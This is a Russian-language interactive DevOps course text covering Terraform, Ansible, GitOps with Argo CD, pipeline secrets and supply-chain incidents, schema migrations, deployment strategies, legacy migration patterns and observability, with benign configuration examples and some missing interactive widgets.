Самый распространённый декларативный инструмент — Terraform. Его создала компания HashiCorp в 2014 году. В августе 2023 года HashiCorp сменила лицензию на Business Source License 1.1: она ограничивает использование в конкурирующих продуктах. В ответ сообщество сделало открытый форк — OpenTofu. Им управляет Linux Foundation, а в апреле 2025 года проект вошёл в CNCF (фонд облачных технологий). Язык описания — HCL — и основные команды у них совпадают: вместо terraform plan пишут tofu plan. Различия понемногу накапливаются: например, OpenTofu умеет сам шифровать файл состояния, начиная с версии 1.7. В 2025 году HashiCorp стала частью IBM. Дальше пишем «Terraform», но всё относится к обоим.
Провайдер (provider)
Плагин, который умеет говорить с API конкретного облака или сервиса. Свои провайдеры есть у AWS, Яндекс Облака, VK Cloud, Kubernetes, GitHub. Сам Terraform про облака ничего не знает.
Ресурс (resource)
Одна вещь в облаке: виртуальная машина, база, бакет для файлов, правило сети. У ресурса есть тип (aws_instance) и имя в коде (shop).
Переменная и выход
Переменная (variable) — параметр, которым отличаются среды: на стенде одна копия, в проде четыре. Выход (output) — значение, которое код отдаёт наружу: например, адрес базы.
Состояние (state)
Файл, где Terraform помнит, какой ресурс в коде соответствует какому объекту в облаке и какие параметры были при последнем применении. Без state он не знает, что «shop[1]» — это машина i-0….
Бэкенд и блокировка
State хранят не на ноутбуке, а в общем хранилище — бэкенде. Пока один запуск меняет инфраструктуру, он держит замок (state lock), и второй запуск ждёт. Иначе двое одновременно испортят state.
plan → apply и модули
plan показывает, что изменится, и ничего не трогает. apply выполняет. Модуль (module) — переиспользуемый набор ресурсов с параметрами: «сеть», «сервис с базой». Из одного модуля собирают и стенд, и прод.
Описание инфраструктуры «Ботинка»: кликайте по строкам
terraform {
required_version = ">= 1.10"
required_providers {
aws = {
source = "hashicorp/aws"
version = "~> 6.0"
}
}
backend "s3" {
bucket = "botinok-tfstate"
key = "prod/shop.tfstate"
region = "eu-central-1"
encrypt = true
use_lockfile = true
}
}
provider "aws" {
region = "eu-central-1"
}
variable "shop_count" {
type = number
default = 3
description = "Сколько копий магазина"
}
variable "shop_ami" { type = string }
module "network" {
source = "./modules/network"
cidr = "10.20.0.0/16"
}
resource "aws_instance" "shop" {
count = var.shop_count
ami = var.shop_ami
instance_type = "t3.medium"
subnet_id = module.network.private_subnet_ids[count.index % 2]
tags = {
Name = "shop-${count.index + 1}"
}
}
resource "aws_db_instance" "orders" {
identifier = "orders"
engine = "postgres"
instance_class = "db.t4g.medium"
allocated_storage = 50
username = "shop"
manage_master_user_password = true
}
output "db_endpoint" {
value = aws_db_instance.orders.endpoint
}
yandex_compute_instance), но устройство то же: провайдер, ресурсы, переменные, state, plan и apply.Тренажёр: plan, apply и дрейф
Слева — код (что хотим). Посередине — state (что Terraform помнит). Справа — облако (что есть на самом деле). Меняйте код, жмите plan, читайте план и жмите apply. Потом нажмите «Кто-то поменял руками» и посмотрите, как Terraform заметит дрейф. Каждое нажатие — новый вид ручной правки.
Код: что хотим
Команды
В настоящем конвейере это выглядит так: на запрос на слияние конвейер делает plan и публикует его в комментарии. Ревьюер читает план, а не только код. После слияния конвейер применяет ровно этот сохранённый план: terraform plan -out=tfplan → ревью → terraform apply tfplan.
terraform state mv, блоки moved и import). В примере выше пароль базы вообще не попадает в код: manage_master_user_password = true отдаёт его облачному хранилищу секретов.Terraform — не единственный инструмент
Нажмите на строку, чтобы раскрыть.
Ansible: как выглядит «настроить сервер»
# playbook.yml — Ansible заходит на серверы группы shop по SSH - name: Настроить веб-серверы магазина hosts: shop become: true # выполнять с правами администратора tasks: - name: Установить nginx ansible.builtin.apt: name: nginx state: present # «должен быть установлен»: уже стоит — ничего не делаем - name: Положить конфигурацию ansible.builtin.template: src: shop.conf.j2 dest: /etc/nginx/conf.d/shop.conf notify: reload nginx # перечитать настройки, только если файл изменился handlers: - name: reload nginx ansible.builtin.service: name: nginx state: reloaded
botinok-infra. Изменения — только через запрос на слияние с приложенным планом и ревью. Ручные изменения в консоли облака запрещены, кроме аварийных; аварийное изменение переносится в код в течение одного рабочего дня. Проверка дрейфа выполняется ежедневно, найденный дрейф — инцидент. Среды stage и prod собираются из одних модулей и различаются только значениями переменных».глава 11 · GitOps Git — пульт управления кластером
Terraform описал облако: сети, машины, базу. Внутри стоит кластер Kubernetes, и в нём крутится магазин (как устроен кластер — в разделе ). Как доставлять в кластер новые версии? Можно, чтобы конвейер сам заходил в кластер и выполнял kubectl apply. А можно наоборот.
Четыре принципа GitOps
Их сформулировала рабочая группа OpenGitOps при CNCF.
1. Декларативно
Желаемое состояние описано как результат («4 копии магазина версии 1.8»), а не как последовательность команд.
2. С версиями и неизменно
Описание хранится так, что каждая версия неизменна и есть полная история: кто, когда и зачем поменял. Git подходит идеально.
3. Вытягивается автоматически
Агент сам забирает описание из хранилища (pull). Никто снаружи не «толкает» изменения в кластер.
4. Сверяется непрерывно
Агент постоянно сравнивает реальность с описанием и устраняет разницу. Ручная правка в кластере живёт до следующей сверки.
| Push: конвейер толкает | Pull: агент вытягивает (GitOps) | |
|---|---|---|
| Кто меняет кластер | Задание CI выполняет kubectl или helm | Агент внутри кластера (Argo CD, Flux) |
| Где ключи от кластера | В секретах CI — снаружи кластера | Внутри кластера; наружу не выдаются |
| Ручная правка в кластере | Остаётся до следующей выкатки, никто не знает | Видна сразу («OutOfSync»), откатывается при сверке |
| Откат | Перезапуск старого конвейера, если он ещё есть | git revert |
| Что видно в Git | Не всё: часть параметров живёт в конвейере | Полное состояние кластера |
Тренажёр: петля GitOps
Слева — репозиторий конфигурации botinok-deploy. Посередине — агент Argo CD. Справа — кластер с подами магазина. Попробуйте три вещи. 1) Как Борис, поправьте кластер руками. 2) Выкатите через Git новую версию — она окажется сломанной. 3) Откатитесь через git revert. Потом выключите самоисправление и повторите первое.
kubectl scale продержится одну сверку: агент увидит «1 ≠ 4» и вернёт четыре копии. Сломанная версия 1.9 не уронит магазин целиком: Kubernetes заменяет поды постепенно и не убирает больше одной старой копии из четырёх, пока новые не готовы. Откат — обычный коммит Revert "…": в истории видно, кто, когда и почему откатил. С выключенным самоисправлением ручная правка остаётся, агент лишь помечает приложение как «OutOfSync». Но новые коммиты в Git он всё равно применяет: самоисправление касается только правок в самом кластере.Как это описано у Argo CD
apiVersion: argoproj.io/v1alpha1 kind: Application # «приложение» Argo CD: что откуда и куда катить metadata: name: shop-prod namespace: argocd spec: project: default source: repoURL: https://git.botinok.example/platform/botinok-deploy.git targetRevision: main # следим за веткой main path: prod # папка с манифестами прода destination: server: https://kubernetes.default.svc namespace: shop syncPolicy: automated: # применять изменения из Git без кнопки prune: true # удалить из кластера то, что удалили из Git selfHeal: true # откатывать ручные правки в кластере
Argo CD
Проект CNCF в статусе «выпускник» (graduated, с 2022 года). Веб-интерфейс с деревом ресурсов и разницей «Git против кластера». Объект Application, порядок синхронизации волнами. Популярен у команд, которым важно видеть картину глазами.
Flux
Тоже выпускник CNCF с 2022 года. Набор контроллеров: один следит за источниками (Git, Helm, OCI-реестры), другие применяют Kustomize и Helm. Встроенного интерфейса нет, всё описывается ресурсами Kubernetes. Популярен в платформенных командах и для «кластер собирает себя сам».
botinok-deploy: меняет отпечаток образа в stage/shop.yaml (это скрипт bump-gitops.sh из главы 9). Дальше работает Argo CD. В кластер конвейер не ходит, ключей от кластера у него нет.глава 12 · безопасность поставки секреты конвейера и цепочка поставок
Конвейер — самое привилегированное место в компании: он собирает код, который попадёт к Анне, и у него есть ключи от реестра и облака. Если взломать конвейер, можно ничего не взламывать в проде: вредоносный код приедет туда сам, с правильной подписью. Общие принципы защиты — в разделе . Здесь — то, что касается поставки.
Часть 1. Секреты: ключ под ковриком
В «Ботинке» ключ от облака лежал в переменных CI с 2022 года. Чем это плохо:
- Утечки случаются. Ключ печатается в журнал отладочной командой, попадает в артефакт, его видит любое стороннее действие в конвейере. Маскировка в журнале не спасает: достаточно вывести ключ в base64 или по одной букве.
- Утёкший ключ работает долго. Злоумышленнику спешить некуда.
- Непонятно, кто им пользовался: ключ один на всех — и на конвейер, и на уволившегося подрядчика, который когда-то его скопировал.
- Такие атаки были. В 2021 году злоумышленники изменили скрипт загрузки отчётов Codecov, который тысячи компаний запускали в своих конвейерах. Скрипт отправлял им переменные окружения — вместе с секретами.
Пройдите по шагам, как задание deploy-prod получает доступ к облаку. Для этого в файле конвейера было permissions: id-token: write (глава 9).
Правила обращения с секретами в конвейере
Нажмите на пункт, чтобы раскрыть.
Часть 2. Цепочка поставок: отравление через поставщика
| Случай | Что произошло | Какое звено | Урок |
|---|---|---|---|
| SolarWinds, 2020 | Злоумышленники проникли в систему сборки и внедрили вредоносный код в обновление продукта Orion. Обновление было подписано настоящей подписью компании, его установили около 18 000 клиентов. | Сборка | Защищать сам конвейер; фиксировать, из чего и как собран артефакт |
| Codecov, 2021 | Изменён скрипт, который компании скачивали и запускали в своих CI. Он отправлял наружу переменные окружения с секретами. | Инструмент в конвейере | Никаких вечных ключей в CI; проверять скачиваемое по контрольной сумме |
| xz utils, 2024 (CVE-2024-3094) | Человек два года помогал сопровождать библиотеку сжатия, стал одним из сопровождающих и спрятал бэкдор в архивы выпусков. Случайно заметил инженер Андрес Фройнд: вход по SSH стал медленнее примерно на полсекунды. | Зависимость | Зависимости — это люди; знать свой состав; собирать из исходников, а не из готовых архивов |
| tj-actions/changed-files, 2025 (CVE-2025-30066) | Популярное действие GitHub Actions взломали, его теги перевесили на вредоносный коммит. Оно печатало секреты конвейеров в журналы сборки. | Стороннее действие CI | Закреплять действия по хешу коммита; давать заданиям минимум прав |
| Log4Shell, 2021 (CVE-2021-44228) | Не атака, а критическая уязвимость в популярной библиотеке журналирования log4j. Компании неделями выясняли, где она у них вообще есть. | Зависимость | Опись состава (SBOM) и постоянное сканирование |
Меры защиты — от репозитория до кластера
| Уровень | Название | Что это значит простыми словами |
|---|---|---|
| Build L0 | Нет гарантий | Так было у Бориса: собрано неизвестно где и как |
| Build L1 | Происхождение есть | К артефакту приложен документ, как он собран. Защищает от ошибок, но подделать легко |
| Build L2 | Сборка на размещённой платформе | Собирает сервис сборки (не ноутбук), и он сам подписывает документ о происхождении |
| Build L3 | Укреплённая сборка | Запуски изолированы друг от друга; ключ подписи недоступен шагам, которые пишут пользователи. Подделать происхождение можно, только взломав саму платформу |
| Source L1 | Под контролем версий | Код хранится в современной системе контроля версий |
| Source L2 | История и происхождение | История веток непрерывна и неизменна; на каждую ревизию выпускается подтверждение |
| Source L3 | Постоянный технический контроль | Правила организации (защищённые ветки, проверки) принудительно применяются системой |
| Source L4 | Ревью двумя людьми | Каждое изменение защищённых веток проверяют два доверенных человека |
Потренируйтесь: какая мера остановила бы атаку
Решено 0 из 0.
глава 13 · база и платформа миграции в конвейере и «золотые пути»
В пятницу Борис применил SQL-скрипт из чата, а второй забыл. Схема базы — тоже код, и она тоже должна ездить по конвейеру.
V31__add_promo_codes.sql, V32__promo_index.sql. Инструмент (Flyway, Liquibase) применяет скрипты по порядку и записывает в служебную таблицу, какие уже применены (у Flyway она называется flyway_schema_history). Поэтому любую среду можно одной командой привести к нужной версии схемы.Как миграция едет по конвейеру
Разложите по выпускам: переименовать колонку phone в phone_e164
Колонку нельзя просто переименовать: старые поды во время выкатки будут искать phone и падать. Разложите шаги по трём выпускам.
Решено 0 из 0.
Платформенная инженерия: чтобы каждый не строил свой конвейер
Прошёл год. В «Ботинке» уже 14 сервисов и 6 команд. Каждая команда когда-то скопировала конвейер Бориса и допилила по-своему. Теперь конвейеров четырнадцать, и все разные. Сканер уязвимостей стоит в девяти из них. Кира делает новый сервис «Возвраты» и тратит две недели не на возвраты, а на конвейер, Dockerfile, манифесты, дашборды и доступы.
Кира без платформы: ≈ 2 недели
Создать репозиторий. Скопировать чей-то конвейер и выяснить, почему он не работает. Написать Dockerfile. Написать манифесты Kubernetes. Завести секреты, попросить доступы в трёх чатах. Собрать дашборды и алерты. Забыть про сканер уязвимостей.
Кира с золотым путём: ≈ 15 минут
В портале выбрать шаблон «Java-сервис», ввести имя и команду-владельца. Получить репозиторий с кодом-заготовкой, конвейером со всеми воротами из этого раздела, записью в каталоге, стендом, дашбордом и алертами. Дальше — писать возвраты.
глава 14 · для аналитика «готово» — это когда? Требования к поставке и проверяемые критерии
Олег в пятницу проверил руками 11 сценариев из 120. Это не его вина: критерии приёмки были записаны так, что автоматизировать их никто не мог. Аналитик влияет на конвейер сильнее, чем кажется. Он решает, что будет проверяться, как это сформулировано и что значит «готово».
DoD «Ботинка»
Код и проверки
- Влито в main через запрос на слияние с ревью второго человека.
- Конвейер зелёный; отключённых проверок нет.
- Правила из критериев приёмки покрыты автотестами на нужном уровне.
- Миграции базы совместимы с предыдущей версией кода.
Поставка и эксплуатация
- Выкачено на стенд, сквозные тесты прошли.
- У новой функции есть метрики, журналы и алерт (см. ).
- Если функция за флагом — у флага есть владелец и дата удаления.
- Документация API и инструкция для поддержки обновлены.
Трассируемость: от требования до выкатки
| Требование | Критерий приёмки | Автотест | Запуск конвейера | В проде |
|---|---|---|---|---|
| ТР-17 Скидка «Чёрная пятница» | КП-17.1 Скидка 20 % на кроссовки в день акции | DiscountServiceTest.blackFridayDiscount | № 482 ✓ | выкатка 26.11, 14:05 |
| ТР-17 | КП-17.2 Скидка не суммируется с промокодом | black_friday.feature: сценарий 2 | № 482 ✓ | выкатка 26.11, 14:05 |
| ТР-17 | КП-17.3 Вне дня акции цена обычная | DiscountServiceTest.regularDay | № 482 ✓ | выкатка 26.11, 14:05 |
Связь держится на простых вещах: номер требования в названии задачи, номер задачи в коммитах и в названиях тестов, отчёт конвейера с результатами тестов. Такую таблицу собирают автоматически. Когда аудитор или руководитель спрашивает «как вы проверили скидку?», ответ — ссылка, а не совещание.
Приёмочные тесты в формате Дано–Когда–Тогда
# language: ru Функция: Скидка «Чёрная пятница» Сценарий: Скидка 20 % на кроссовки в день акции Дано кроссовки «Бег-42» стоят 4 990 ₽ И сегодня 27 ноября 2026 года — день акции Когда Анна кладёт кроссовки в корзину Тогда цена в корзине 3 992 ₽ Сценарий: Скидка не суммируется с промокодом Дано сегодня день акции И у Анны промокод ВЕСНА10 на 10 % Когда Анна применяет промокод к кроссовкам «Бег-42» Тогда применяется одна скидка — большая из двух И цена в корзине 3 992 ₽
Требования к поставке: как их формулировать
Нефункциональные требования к CI/CD пишут так же, как любые другие: измеримо и проверяемо. Примеры:
Потренируйтесь: где проверять это требование
Для каждого требования выберите место, где его дешевле и надёжнее всего проверять. Решено 0 из 0.
Частые ошибки
Нажмите на пункт, чтобы раскрыть.
глава 15 · проверь себя вопросы по конвейеру, инфраструктуре и поставке
Решено 0 из 0.
Как выкатывать — это архитектурное решение, а не дело эксплуатации. От него зависит, сколько людей увидит поломку и можно ли откатиться. И оно ставит жёсткое требование к коду: две версии обязаны работать одновременно. Они всегда работают одновременно — хотя бы минуту.
карта раздела история одной выкатки — от и до
Раздел — это одна история. Сначала разберёмся, что такое выкатка и почему она пугает. Потом пройдём настоящую выкатку минута за минутой. Затем сравним шесть способов и прогоним их через симулятор с багом. В конце — три вещи, которые ломают любую стратегию: две версии рядом, база данных и флаги. Нажмите на главу, чтобы перейти к ней.
глава 1 · что это выкатка: новая версия у живых людей
Выкатка (деплой, от англ. deploy) — это замена работающей программы на новую версию, пока ею пользуются люди. Не «собрать», не «протестировать», а именно заменить — на серверах, под нагрузкой, без остановки магазина.
Слова, без которых дальше не обойтись
Почему выкатка пугает
1. Тесты не видят всего
Ошибки, которые проявляются только на настоящих данных, настоящих картах и под настоящей нагрузкой, тесты не поймают. Их увидят люди. Вопрос только в том, сколько людей.
2. Две версии живут вместе
Пока меняют узлы, часть работает на старой версии, часть — на новой. С одной базой, с одними очередями. Если версии не понимают друг друга — будут «плавающие» ошибки.
3. База не откатывается
Код вернуть можно за минуту. А удалённую колонку не вернёшь. Одна неосторожная миграция превращает быстрый откат в ночь восстановления из бэкапа.
Зачем нужны безопасные релизы
глава 2 · сквозной пример 14:00: команда выкатывает оплату, а Анна в это время платит
Ситуация. Интернет-магазин, сервис оплаты. В 14:00 команда начинает выкатывать версию 2.4 вместо 2.3. Выкатка канареечная: сначала 5 % пользователей, потом больше. В 14:02 Анна покупает наушники за 1 990 ₽. Пройдите по шагам и смотрите, какие узлы на схеме работают и что между ними ходит. Сначала выберите, как всё сложится.
глава 3 · способы шесть способов выкатить — ресторан меняет меню
В примере с Анной была канарейка. Но это один способ из шести. Все они отвечают на два вопроса: сколько людей увидят ошибку и как быстро её можно убрать. Выберите способ — увидите, на что он похож в жизни, как по шагам меняются узлы и чем за него платят.
Всё вместе в одной таблице
Нажмите на строку — раскроется подробное объяснение.
глава 4 · симулятор в новой версии баг — кто его заметит?
Слова «радиус поражения» и «скорость отката» лучше один раз увидеть. Здесь 12 минут выкатки, каждую минуту приходят 100 покупателей. Каждый квадратик — один покупатель. В новой версии спрятана ошибка: часть запросов к ней падает. Выберите стратегию, задайте, насколько плоха новая версия, и запустите. Потом попробуйте другую стратегию с тем же багом — результаты соберутся в таблицу.
глава 5 · канарейка вблизи этапы, порог и почему нельзя спешить
Название — из шахт. Шахтёры брали с собой канарейку: она чувствительнее к газу и замолкала раньше, чем люди начинали задыхаться. Здесь канарейка — маленькая доля трафика на новой версии. Если «замолчала» — уводим всех обратно.
Новая версия выкатывается на растущую долю трафика. Метрики сравниваются со старой; при превышении порога — автоматический откат. Задайте качество новой версии и пройдите выкатку по шагам.
Три правила хорошей канарейки
Сравнивать с соседом, а не с идеалом
Метрики канарейки сравнивают со старыми узлами в ту же минуту. Если банк сейчас тормозит у всех, это не вина новой версии. Сравнение «со вчера» даст ложные откаты.
Держать этап долго
На 1 % трафика редкая ошибка проявится через минуты, утечка памяти — через часы. Этап короче, чем нужно метрикам, — это big bang с красивым названием.
Трафик должен быть настоящим
Если на канарейку попадают только роботы или только сотрудники, вы проверили не то. Нужна честная случайная доля покупателей — с липкостью, чтобы человек не прыгал между версиями.
глава 6 · две версии рядом правило N−1: новая версия и старая обязаны понимать друг друга
N−1 — это «текущая версия и предыдущая». Правило простое: код версии N обязан нормально работать рядом с версией N−1. В любой момент выкатки в системе живут две версии: старая и новая работают одновременно — на разных узлах, с одной базой, с одними очередями. Помните сервис чеков из главы 2? Он пережил выкатку только потому, что был мягким читателем.
Отсюда требования, которые действуют всегда, независимо от стратегии:
- Новая версия читает данные, записанные старой, и наоборот.
- Новая версия обрабатывает сообщения, отправленные старой, и наоборот.
- Новый код работает со старой схемой (она ещё не мигрирована на части узлов).
- Старый код не падает на данных, где появились новые поля, — неизвестные поля игнорируются, а не вызывают ошибку.
Попробуйте: какое изменение переживёт соседство?
Выберите, что изменили в сообщении об оплате, и как читает сообщения старый сервис: мягко (незнакомое пропускает) или строго (всё незнакомое — ошибка).
глава 7 · база данных изменение схемы без простоя: параллельная замена
Главная ловушка любой выкатки: код откатывается за минуту, схема базы — нет. Поэтому миграции делают так, чтобы старая и новая версии кода работали с одной схемой одновременно. В главе 2 колонку method_details добавили за день до выкатки кода — это и был первый шаг такого приёма. Разберём полный пример: разбить name на first_name и last_name.
Пройдите по шагам. Смотрите на таблицу, на то, какой код сейчас работает, и на главный индикатор — можно ли ещё откатиться на самую первую версию.
NOT NULL без значения по умолчанию на большой таблице, поменять тип колонки «на месте». Каждое из этих действий делает откат невозможным, а часть ещё и блокирует таблицу на время, которого никто не ожидал.глава 8 · флаги переключатели функциональности: выкатить ≠ включить
Флаг функциональности (feature flag) — это if в коде, условие которого хранится снаружи, в настройках. Код новой функции уже на серверах, но работает старая ветка. Включить новую можно без выкатки: поменять настройку.
Попробуйте сами. Новая страница оплаты уже выкатана на все узлы. Решите, кому её показать.
Пульт флага new-checkout
24 покупателя прямо сейчас
Что дают
- Отделяют выкатку от включения. Код в проде, функция выключена — можно катить хоть каждый час.
- Мгновенный откат без передеплоя: выключили флаг.
- Постепенное включение по проценту, сегменту, конкретным клиентам.
- Убирают долгоживущие ветки. Незаконченная функция живёт в главной ветке за флагом, а не в ветке на три месяца.
Чем платят
- Комбинаторный взрыв. Десять флагов — 1024 сочетания, и протестированы из них два.
- Флаги не удаляют. Через год их сорок, и половина всегда включена, но код второй ветки остался.
- Флаг в базе — это состояние, которое надо согласовывать между узлами.
- Долг растёт молча. Каждый флаг — это
ifв горячем пути и два пути в тестировании.
Посчитайте цену: сколько состояний у системы
глава 9 · как выбрать подбор стратегии за пять вопросов
Стратегии не соревнуются — их комбинируют. Типичная зрелая команда катит код маленькими порциями через канарейку, а новые функции включает флагами. Ответьте на вопросы про свою ситуацию.
задание какую стратегию взять?
Для каждой ситуации выберите подходящий способ выкатки. Решено 0 из 0.
задание релизы
Решено 0 из 0.
Переписать всё с нуля почти всегда проваливается. Причина простая: пока вы переписываете, старая система продолжает меняться. Вы догоняете убегающую цель и два года ничего не выпускаете. Работает другой путь — менять по кускам, каждый раз выкатывая результат. Этот раздел — одна история от начала до конца: что такое легаси, как выглядит миграция изнутри на примере одного клика, какие есть подходы и как провести замену «комната за комнатой».
карта раздела куда мы идём
Раздел читается сверху вниз, как одна история. Можно прыгнуть к любой главе — нажмите на неё.
глава 1 · что это легаси: система, которую страшно трогать
Легаси (legacy, «наследство») — это работающая система, которую страшно менять. Не обязательно старая: бывает легаси, написанное два года назад. Признаки всегда одни: тестов нет, авторы ушли, документации нет, а правила бизнеса живут только в коде.
Миграция — перенос функций из старой системы в новую так, чтобы бизнес не останавливался ни на день.
Любая правка может сломать что-то в неожиданном месте. Проверить нечем: тестов нет. Спросить некого: авторы ушли. Поэтому код не трогают, а обходят — и он становится ещё запутаннее.
Легаси приносит деньги. Через него идут заказы, платежи, отчёты для налоговой. Именно поэтому оно легаси, а не мусор: оно слишком ценное, чтобы выбросить, и слишком хрупкое, чтобы менять.
Зачем вообще его трогать
глава 2 · сквозной пример Анна открывает личный кабинет
Прежде чем разбирать термины, посмотрим на миграцию изнутри. Турагентство третий месяц переносит функции из старого монолита в новые сервисы. Функцию «Профиль» уже переписали, и её получают 10 % пользователей. Остальное — заказы, оплата — пока в монолите.
Анна нажимает «Личный кабинет». Идите по шагам и смотрите, какой узел работает и какие данные проходят через него.
глава 3 · почему почему не переписать всё с нуля
Первое желание при виде легаси — «снести и написать нормально». Посмотрим, что при этом происходит. Старая система не замирает: бизнес каждый месяц просит новое. Допустим, она прибавляет 4 функции в месяц, а сейчас умеет 100. Двигайте ползунки.
Цифры условные, но форма провала настоящая. Вот четыре причины, из-за которых «большое переписывание» почти всегда заканчивается плохо. Нажмите на каждую.
глава 4 · подходы пять способов заменить старое — и на что они похожи в жизни
В примере с Анной работали сразу три приёма: фасад с процентами (душитель), переводчик (ACL) и сравнение ответов (параллельный прогон). Разложим все подходы по полочкам. Выберите подход.
Всё рядом: сравнение
Нажмите на строку — появится пояснение.
Проверьте себя: какой подход взять
Решено 0 из 0.
глава 5 · душитель душитель (Strangler Fig) по шагам
Фикус-душитель обвивает дерево, постепенно заменяя его собой; когда дерево умирает, фикус стоит сам. Так же заменяют легаси: новое растёт снаружи, трафик переключается по кускам, старое отмирает. Пройдите по шагам — это жизненный цикл одного куска.
глава 5 · симулятор ремонт комната за комнатой
Теперь — весь дом. Монолит турагентства состоит из шести «комнат». У каждой своя доля трафика и своя цена ошибки. Проводите комнаты через шаги душителя кнопкой ▶. Кнопка 💥 устраивает сбой в новой версии комнаты — посмотрите, во что он обойдётся на каждом шаге. Кнопка ↩ — откат.
глава 6 · переводчик слой предотвращения порчи (anti-corruption layer)
Слой предотвращения порчи (ACL, anti-corruption layer) — код на границе между новым и старым, который переводит чужую модель данных в свою. Его задача — не дать странностям старой системы «протечь» в новый код.
Вот запись клиента, как её хранит старая база. Переведите её поле за полем и посмотрите, сколько скрытого знания сидит в переводчике.
🏚 Старая запись CLNT
Так её отдаёт монолит
🏠 Модель нового сервиса
Так её видит новый код
Когда нужен
- Новое вынуждено читать или писать в старую систему во время миграции.
- Интеграция с чужой системой, на модель которой вы не влияете (партнёр, банк, государство).
- Старая модель явно кривая, и вы не хотите тащить её дальше.
Чем платим
- Ещё один слой кода, который надо писать, тестировать и сопровождать.
- Кто-то должен знать обе модели: переводчик без знания языка бесполезен.
- Небольшая задержка на каждое обращение.
глава 7 · приём ветвление по абстракции (branch by abstraction)
Когда заменяемый кусок находится внутри кода, а не за сетевой границей, душитель не работает — маршрутизировать нечем. Фасаду нечего перехватывать: вызов идёт из метода в метод. Тогда точку переключения создают в самом коде.
Пройдите шаги. Обратите внимание, что каждый шаг выкатывается в прод отдельно.
глава 8 · проверка параллельный прогон: как убедиться, что новое считает так же
Параллельный прогон (parallel run, «теневой режим») — новая реализация получает тот же вход, что и старая; результаты сравниваются, наружу отдаётся старый. Расхождения логируются и разбираются до переключения. Именно это делал фасад на шаге 8 в истории Анны.
Что это даёт
- Проверка на настоящих данных, а не на придуманных тестовых.
- Обнаруживаются случаи, о которых никто не помнил, — а в легаси их всегда десятки.
- Нулевой риск: наружу идёт проверенный результат.
- Появляется объективный критерий готовности: «расхождений меньше 0,01 % за неделю».
О чём забывают
- Побочные эффекты новой реализации надо отключить: она не должна писать в базу, слать письма и дёргать партнёров.
- Двойная нагрузка — прогон стоит ресурсов.
- Расхождение не всегда означает ошибку в новом: часто обнаруживается баг в старом, который бизнес считает фичей.
- Нужен человек, который будет разбирать расхождения, иначе их просто перестанут смотреть.
Разберите журнал расхождений
Неделя прогона нового расчёта стоимости тура. Для каждого расхождения решите, что с ним делать. Решено 0 из 0.
глава 9 · швы где резать легаси, если внутри всё связано
Шов — место, где поведение можно изменить, не правя код вокруг. Найти швы в коде без тестов и без границ — главная работа при подходе к легаси.
глава 9 · тесты как начать, если тестов нет вообще
Любой из подходов выше требует страховки: как понять, что после правки ничего не сломалось? В легаси тестов обычно нет. Вот как их завести, не переписывая код.
глава 10 · практика что выносить первым
Монолит турагентства, пять кандидатов на выделение. Оцените каждого. Разбор объясняет, почему порядок именно такой.
Решено 0 из 0.
глава 10 · задание работа с легаси
Решено 0 из 0.
Наблюдаемость — это способность ответить на вопрос, который вы заранее не придумали. Мониторинг отвечает «работает или нет». Наблюдаемость отвечает «почему вот у этих клиентов со вторника тормозит оформление». От неё зависит, займёт разбор пятнадцать минут или три дня.
карта раздела о чём эта история
Раздел — это одна история. Сначала поймём, что такое наблюдаемость. Потом вместе расследуем настоящую жалобу клиента от первого сообщения до причины. А затем по очереди разберём каждый инструмент, который нам помог. Нажмите на главу, чтобы перейти к ней.
глава 1 · что это наблюдаемость в двух фразах
Представьте машину. Мониторинг — это лампочка «check engine»: горит или не горит. Она заранее знает один вопрос — «всё ли в порядке?». Наблюдаемость — это диагностический разъём, куда механик подключает сканер и видит всё: температуру, обороты, ошибки каждого датчика, историю за последний час. С ним можно ответить на вопрос, которого на заводе никто не предусмотрел.
Вопросы известны заранее: жив ли сервис? Не кончился ли диск? Больше ли ошибок, чем обычно?
Отвечает «да / нет». Нужен всегда, но на вопрос «почему» не отвечает.
Вопрос появился только сейчас: почему медленно только у тех, кто платит картой, и только после 19:30?
Отвечает «где, у кого и почему». Мониторинг — её часть, а не замена.
Что будет, если этим не заниматься
глава 2 · история «оплата висит 10 секунд»: расследуем от и до
Вечер пятницы, пик заказов. Интернет-магазин собран из сервисов: шлюз принимает запросы, «Заказы» оформляют покупку, «Антифрод» проверяет, не мошенник ли покупатель, «Оплата» списывает деньги через банк. Клиентка Анна нажимает «Оплатить» — и ждёт.
Жмите «Дальше». На схеме подсвечивается то, на что мы сейчас смотрим, а ниже — те данные, которые видит дежурный инженер. Красным — подозрение, зелёным — снятое подозрение.
глава 3 · три инструмента журнал, приборы и трек-номер
В истории Анны мы использовали три разных источника данных. Их называют «тремя столпами наблюдаемости». Каждый отвечает на свой вопрос, и ни один не заменяет другой. Вот что это такое — сначала по-житейски.
Что это: записи о событиях. Одна строка — одно событие: «в 19:47:12 оплата заказа 7731 начала ждать соединение».
Как в жизни: капитан записывает в журнал всё, что случилось в рейсе. Прочитав журнал, можно восстановить, что именно произошло и в каком порядке.
Что это: числа, которые снимают каждые несколько секунд: сколько запросов в секунду, какая доля ошибок, сколько длится ответ.
Как в жизни: спидометр и датчик температуры. Не рассказывают историю поездки, но сразу видно: едем быстро и мотор перегрелся.
Что это: путь одного запроса через все сервисы с отметкой, сколько он пробыл в каждом.
Как в жизни: по трек-номеру видно: «принята 12:01 → сортировка 12:40 → таможня 3 дня → доставлена». Сразу ясно, где застряло.
Один и тот же сбой глазами трёх инструментов
Переключайте вкладки. Это всё тот же вечер Анны — просто увиденный через разные «окна».
Сравнение рядом
Нажмите на строку таблицы — раскроется пояснение.
trace_id рождается на входе (в шлюзе) и попадает в каждую строку лога, в каждый участок трассы и в пометки к метрикам. В истории Анны именно он привёл нас от трассы к нужным строкам логов. Путь всегда один: алерт → метрика показала рост → трасса показала, какой участок виноват → логи с тем же trace_id показали, что именно случилось. Без общего идентификатора это три несвязанные системы.Задание: какой инструмент ответит
Разложите вопросы по инструментам. Решено 0 из 0.
глава 4 · логи бортовой журнал, по которому можно искать
Лог — это запись о событии: когда, где, что случилось и с какими данными. Логи пишут все сервисы одновременно, и в общем хранилище они перемешаны, как голоса в толпе. Поэтому главное свойство хорошего лога — по нему можно искать.
Строка — как запись от руки
19:47:12 WARN payments: pool exhausted (10/10)
Человеку понятно. Машине — нет: где тут сервис, где число, к какому запросу это относится? Искать можно только по кусочку текста.
Структурированный лог — как анкета
{"level":"WARN","service":"payments",
"trace_id":"4bf92f35","msg":"pool exhausted",
"active":10,"max":10,"pending":184}
Каждое поле подписано. Можно отфильтровать, посчитать, сгруппировать и найти все записи одного запроса.
Попробуйте сами: найдите записи Анны
Перед вами поток логов за 10 секунд. Задача — оставить только то, что относится к запросу Анны (4bf92f35). Попробуйте в режиме строк, потом в режиме JSON.
Уровни логов: как не утонуть
